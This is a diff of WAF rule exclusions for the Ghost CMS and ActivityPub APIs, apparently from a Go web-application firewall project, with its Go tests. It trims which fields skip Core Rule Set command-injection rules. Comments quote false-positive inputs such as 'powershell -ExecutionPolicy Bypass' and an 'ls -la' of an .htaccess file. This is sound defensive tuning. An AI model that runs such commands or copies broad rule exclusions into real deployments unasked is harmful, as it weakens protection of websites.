ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:posts|pages|tags|labels|members|newsletters|snippets)\.\d+\.(?:title|name|slug|custom_excerpt|description|note|sender_name|(?:meta|og|twitter)_(?:title|description)|(?:tags|labels)\.\d+(?:\.(?:name|slug))?)$/"
|
||||
|
||||
# name, the name a member saves at /members/api/, skips the same eight rules.
|
||||
# name, the name a member saves at /members/api/, skips the same seven rules.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
||||
"id:900359,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.name$/ "@eq 0" \
|
||||
@@ -140,99 +76,10 @@ SecRule REQUEST_FILENAME "@beginsWith /members/api/" \
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.name$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.name$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.name$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.name$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.name$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.name$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.name$/"
|
||||
|
||||
# More fields of plain text skip the same eight rules on the Admin API, which
|
||||
# refused "python3 & powershell club", "Weekly ls -la and .htaccess tips" and
|
||||
# "powershell & python3 deal" in them:
|
||||
# users.<n>.name, slug, bio, location and website, a staff user's profile
|
||||
# setup.<n>.blogTitle and name, creating the first staff user
|
||||
# invitation.<n>.name, accepting a staff invitation
|
||||
# tiers.<n>.name, description and benefits
|
||||
# offers.<n>.name, code, display_title and display_description
|
||||
# recommendations.<n>.title, description and excerpt
|
||||
# integrations.<n>.name and description, and webhooks.<n>.name
|
||||
# posts.<n>.feature_image_alt and feature_image_caption, and the same fields
|
||||
# of pages
|
||||
# Coraza matches a field's name in lower case, so blogTitle is blogtitle.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
"id:900370,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:users\.\d+\.(?:name|slug|bio|location|website)|setup\.\d+\.(?:blogtitle|name)|invitation\.\d+\.name|tiers\.\d+\.(?:name|description|benefits\.\d+)|offers\.\d+\.(?:name|code|display_title|display_description)|recommendations\.\d+\.(?:title|description|excerpt)|integrations\.\d+\.(?:name|description)|webhooks\.\d+\.name|(?:posts|pages)\.\d+\.feature_image_(?:alt|caption))$/"
|
||||
|
||||
# A member's comment, html at /members/api/comments/, skips the same eight
|
||||
# rules, which refused "I ran ls -la and fixed my .htaccess with python3". The
|
||||
# rules for scripts and HTML still refuse a <script> element, an event handler
|
||||
# and a javascript: link in it.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /members/api/comments/" \
|
||||
"id:900371,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.comments\.\d+\.html$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.comments\.\d+\.html$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.comments\.\d+\.html$/"
|
||||
|
||||
# labels, which the admin gives the members imported from a CSV file at
|
||||
# /ghost/api/admin/members/upload/, skips the same eight rules, which refused
|
||||
# "python3 import" and "powershell & .htaccess".
|
||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/members/upload/" \
|
||||
"id:900372,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:labels "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:labels,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:labels,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:labels,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:labels,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:labels,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:labels,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:labels,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:labels"
|
||||
|
||||
# In ActivityPub, a note's or a reply's text and the description of its image,
|
||||
# and an account's name, username and bio, skip the same eight rules. They
|
||||
# refused "Trying python3 & powershell", the image's description "A terminal
|
||||
# running ls -la on .htaccess with python3" and the bio "ls -la and .htaccess
|
||||
# tips". Each field skips them on its own path:
|
||||
# content and image.altText, posting a note at
|
||||
# /.ghost/activitypub/v1/actions/note or a reply under
|
||||
# /.ghost/activitypub/v1/actions/reply/
|
||||
# name, username and bio, saving the account at /.ghost/activitypub/v1/account
|
||||
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/actions/(?:note$|reply/)" \
|
||||
"id:900373,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:content|image\.alttext)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:content|image\.alttext)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:content|image\.alttext)$/"
|
||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/account" \
|
||||
"id:900374,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:name|username|bio)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:name|username|bio)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:name|username|bio)$/"
|
||||
|
||||
# A member's email address skips 930120, 932120 and 932260, which refused
|
||||
# erin.htaccess@example.com, dave.powershell@example.com and
|
||||
# python3.dev@example.com. These fields hold it:
|
||||
@@ -285,63 +132,6 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.users\.\d+\.email$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.users\.\d+\.email$/"
|
||||
|
||||
# The address of a staff invitation skips the same three rules. Each of these
|
||||
# fields skips them only on its own path:
|
||||
# invites.<n>.email, inviting a staff user at /ghost/api/admin/invites/
|
||||
# email in the query, checking an invitation at
|
||||
# /ghost/api/admin/authentication/invitation/
|
||||
# invitation.<n>.email, accepting it at the same path
|
||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/invites/" \
|
||||
"id:900375,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.invites\.\d+\.email$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invites\.\d+\.email$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invites\.\d+\.email$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invites\.\d+\.email$/"
|
||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
|
||||
"id:900376,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:email,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:email,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:email"
|
||||
SecRule REQUEST_FILENAME "@streq /ghost/api/admin/authentication/invitation/" \
|
||||
"id:900377,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.invitation\.\d+\.email$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.invitation\.\d+\.email$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.invitation\.\d+\.email$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.invitation\.\d+\.email$/"
|
||||
|
||||
# In ActivityPub, an account's handle and its address skip 930120 and 932120.
|
||||
# They refused the handles @erin.htaccess@example.com and
|
||||
# @powershell@example.com, and the addresses
|
||||
# https://example.com/users/erin.htaccess and
|
||||
# https://example.com/users/powershell. A handle starts with an @, so 932260
|
||||
# does not refuse @python3.dev@example.com. The domain of the site's handle
|
||||
# skips the same three rules as an email address, which refused
|
||||
# erin.htaccess.example.com, powershell.example.com and python3.example.com.
|
||||
# Each of these fields skips them only on its own path:
|
||||
# sourceHandle, an account that moves here, added at
|
||||
# /.ghost/activitypub/v1/aliases
|
||||
# actorUri, that account's address, when the admin removes it there
|
||||
# targetHandle, the account this one moves to, at
|
||||
# /.ghost/activitypub/v1/migration
|
||||
# domain, saved at /.ghost/activitypub/v1/domain and checked at
|
||||
# /.ghost/activitypub/v1/domain/validate
|
||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/aliases" \
|
||||
"id:900379,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.(?:sourcehandle|actoruri)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:sourcehandle|actoruri)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:sourcehandle|actoruri)$/"
|
||||
SecRule REQUEST_FILENAME "@streq /.ghost/activitypub/v1/migration" \
|
||||
"id:900380,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.targethandle$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.targethandle$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.targethandle$/"
|
||||
SecRule REQUEST_FILENAME "@rx ^/\.ghost/activitypub/v1/domain(?:/validate)?$" \
|
||||
"id:900381,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.domain$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.domain$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.domain$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.domain$/"
|
||||
|
||||
# The articles skip these rules on the Admin API:
|
||||
# 930120: ls -la /var/www/html/.htaccess in a code block
|
||||
# 932120: powershell -ExecutionPolicy Bypass -File build.ps1
|
||||
@@ -388,10 +178,9 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
|
||||
# Code injection, the HTML Ghost adds to the head and the foot of a page, and
|
||||
# the site's settings, which hold the site-wide code injection besides the
|
||||
# title and the description, skip the eight rules that 900353 lists and these:
|
||||
# title and the description, skip the rules of plain text above and these:
|
||||
# 921130, 941100, 941160: <meta name="google-site-verification" ...>
|
||||
# 941270: <link rel="preconnect" href="https://fonts.example.com">
|
||||
# 932235, one of the eight, refused the site's title "powershell & python3".
|
||||
# These fields hold it, and skip the rules anywhere on the Admin API:
|
||||
# posts.<n>.codeinjection_head and _foot, and the same fields of pages
|
||||
# settings.<n>.value, the value of a setting
|
||||
@@ -405,7 +194,6 @@ SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/" \
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.(?:(?:posts|pages)\.\d+\.codeinjection_(?:head|foot)|settings\.\d+\.value)$/,\
|
||||
@@ -452,36 +240,6 @@ SecRule REQUEST_FILENAME "@rx ^/ghost/api/admin/users/[0-9a-f]{24}/$" \
|
||||
SecRule &ARGS_GET:/^json\.users\.\d+\.profile_image$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS_NAMES:/^json\.users\.\d+\.profile_image$/"
|
||||
|
||||
# A tag's code injection, tags.<n>.codeinjection_head and _foot under
|
||||
# /ghost/api/admin/tags/, skips the rules that 900356 and 900366 switch off in
|
||||
# the code injection of posts. A javascript: link is still refused in it.
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
||||
"id:900378,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=921130;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=932235;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=941110;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/,\
|
||||
ctl:ruleRemoveTargetById=941270;ARGS:/^json\.tags\.\d+\.codeinjection_(?:head|foot)$/"
|
||||
|
||||
# A tag's canonical URL, tags.<n>.canonical_url under /ghost/api/admin/tags/,
|
||||
# skips the two rules that url skips:
|
||||
# 930120: https://example.com/tag/.htaccess/
|
||||
# 932120: https://example.com/tag/powershell/
|
||||
SecRule REQUEST_FILENAME "@beginsWith /ghost/api/admin/tags/" \
|
||||
"id:900382,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^json\.tags\.\d+\.canonical_url$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.tags\.\d+\.canonical_url$/,\
|
||||
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.tags\.\d+\.canonical_url$/"
|
||||
|
||||
# The passwords, which skip each rule that random passwords set off:
|
||||
# password, signing in at /ghost/api/admin/session/
|
||||
# setup.<n>.password, creating the first staff user
|
||||
|
||||
@@ -11,7 +11,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// ghostThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||
// ghostThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||
const ghostThreshold = 5
|
||||
|
||||
// Paths of Ghost's Admin API, Content API and members' API.
|
||||
@@ -28,19 +28,6 @@ const (
|
||||
ghostUser = "/ghost/api/admin/users/6af4570fd281b00001a59891/"
|
||||
ghostMember = "/members/api/member/"
|
||||
ghostMagicLink = "/members/api/send-magic-link/"
|
||||
ghostInvites = "/ghost/api/admin/invites/"
|
||||
ghostInvitation = "/ghost/api/admin/authentication/invitation/"
|
||||
ghostTiers = "/ghost/api/admin/tiers/6af45710d281b00001a598a3/"
|
||||
ghostOffers = "/ghost/api/admin/offers/"
|
||||
ghostRecommended = "/ghost/api/admin/recommendations/"
|
||||
ghostTags = "/ghost/api/admin/tags/"
|
||||
ghostImport = "/ghost/api/admin/members/upload/"
|
||||
ghostComments = "/members/api/comments/"
|
||||
ghostNote = "/.ghost/activitypub/v1/actions/note"
|
||||
ghostAccount = "/.ghost/activitypub/v1/account"
|
||||
ghostAliases = "/.ghost/activitypub/v1/aliases"
|
||||
ghostMigration = "/.ghost/activitypub/v1/migration"
|
||||
ghostDomain = "/.ghost/activitypub/v1/domain"
|
||||
)
|
||||
|
||||
func TestGhostFixesApplyOnlyToAHostnameThatServesGhost(t *testing.T) {
|
||||
@@ -77,7 +64,7 @@ func (f ghostField) with(t *testing.T, value string) string {
|
||||
)
|
||||
}
|
||||
|
||||
// ghostTextFields hold plain text and skip the eight rules that 900353 lists.
|
||||
// ghostTextFields hold plain text and skip the rules of 900353 and 900359.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var ghostTextFields = []ghostField{
|
||||
@@ -129,111 +116,8 @@ var ghostTextFields = []ghostField{
|
||||
`{"snippets":[{"name":"VALUE"}]}`,
|
||||
},
|
||||
{http.MethodPut, ghostMember, ghostMemberName},
|
||||
|
||||
// A staff user's profile, the first staff user, an invitation accepted.
|
||||
{http.MethodPut, ghostUser, `{"users":[{"name":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostUser, `{"users":[{"slug":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostUser, `{"users":[{"bio":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostUser, `{"users":[{"location":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostUser, `{"users":[{"website":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostSetup, `{"setup":[{"blogTitle":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostSetup, `{"setup":[{"name":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostInvitation, `{"invitation":[{"name":"VALUE"}]}`},
|
||||
|
||||
// Tiers, offers, recommendations, integrations and webhooks.
|
||||
{http.MethodPut, ghostTiers, `{"tiers":[{"name":"VALUE"}]}`},
|
||||
{http.MethodPut, ghostTiers, `{"tiers":[{"description":"VALUE"}]}`},
|
||||
{
|
||||
http.MethodPut,
|
||||
ghostTiers,
|
||||
`{"tiers":[{"benefits":["Tips","VALUE"]}]}`,
|
||||
},
|
||||
{http.MethodPost, ghostOffers, `{"offers":[{"name":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostOffers, `{"offers":[{"code":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostOffers, `{"offers":[{"display_title":"VALUE"}]}`},
|
||||
{
|
||||
http.MethodPost,
|
||||
ghostOffers,
|
||||
`{"offers":[{"display_description":"VALUE"}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
ghostRecommended,
|
||||
`{"recommendations":[{"title":"VALUE"}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
ghostRecommended,
|
||||
`{"recommendations":[{"description":"VALUE"}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
ghostRecommended,
|
||||
`{"recommendations":[{"excerpt":"VALUE"}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/ghost/api/admin/integrations/",
|
||||
`{"integrations":[{"name":"VALUE","description":"VALUE"}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/ghost/api/admin/webhooks/",
|
||||
`{"webhooks":[{"event":"post.published","name":"VALUE"}]}`,
|
||||
},
|
||||
|
||||
// A feature image's alt text and caption.
|
||||
{http.MethodPut, ghostPost, `{"posts":[{"feature_image_alt":"VALUE"}]}`},
|
||||
{
|
||||
http.MethodPut,
|
||||
ghostPost,
|
||||
`{"posts":[{"feature_image_caption":` +
|
||||
`"Photo: <a href=\"https://example.com/\">VALUE</a>"}]}`,
|
||||
},
|
||||
{http.MethodPut, ghostPage, `{"pages":[{"feature_image_alt":"VALUE"}]}`},
|
||||
|
||||
// A member's comment, written and edited.
|
||||
ghostNewComment,
|
||||
{
|
||||
http.MethodPut,
|
||||
ghostComments + "6af5426ae56ecb0001938894/",
|
||||
`{"comments":[{"id":"6af5426ae56ecb0001938894","html":"<p>VALUE</p>"}]}`,
|
||||
},
|
||||
|
||||
// ActivityPub: a note, a reply, the description of their image, and the
|
||||
// account.
|
||||
{http.MethodPost, ghostNote, `{"content":"VALUE"}`},
|
||||
{http.MethodPost, ghostReply, `{"content":"VALUE"}`},
|
||||
{http.MethodPost, ghostNote, ghostNoteImage},
|
||||
{http.MethodPost, ghostReply, ghostNoteImage},
|
||||
{http.MethodPut, ghostAccount, `{"name":"VALUE","username":"alice"}`},
|
||||
{http.MethodPut, ghostAccount, `{"username":"VALUE"}`},
|
||||
{http.MethodPut, ghostAccount, `{"bio":"VALUE"}`},
|
||||
}
|
||||
|
||||
// ghostNewComment is a member's comment on a post, with VALUE in a paragraph.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a struct
|
||||
var ghostNewComment = ghostField{
|
||||
http.MethodPost,
|
||||
ghostComments,
|
||||
`{"comments":[{"post_id":"6af458a5d281b00001a59969","html":"<p>VALUE</p>"}]}`,
|
||||
}
|
||||
|
||||
// ghostComment is the HTML of an ordinary comment, with a link.
|
||||
const ghostComment = `Try <strong>python3</strong>, then ` +
|
||||
`<a href="https://example.com/ls-la" rel="ugc">ls -la</a>.`
|
||||
|
||||
// ghostNoteImage is the body of a note or a reply in ActivityPub with an
|
||||
// image, with VALUE as the image's description.
|
||||
const ghostNoteImage = `{"content":"My desk","image":{"url":` +
|
||||
`"https://example.com/content/images/desk.png","altText":"VALUE"}}`
|
||||
|
||||
// ghostReply is the path that posts a reply to a note in ActivityPub.
|
||||
const ghostReply = "/.ghost/activitypub/v1/actions/reply/" +
|
||||
"https%3A%2F%2Fexample.com%2F.ghost%2Factivitypub%2Fnote%2F" +
|
||||
"0d6e3b4c-2a1f-4b5e-9c8d-7e6f5a4b3c2d"
|
||||
|
||||
// ghostMemberName is the body that saves a member's name at /members/api/.
|
||||
const ghostMemberName = `{"name":"VALUE"}`
|
||||
|
||||
@@ -251,8 +135,6 @@ var ghostAddressFields = []ghostField{
|
||||
{http.MethodPost, ghostMembers, `{"members":[{"email":"VALUE"}]}`},
|
||||
{http.MethodPost, ghostSession, `{"username":"VALUE"}`},
|
||||
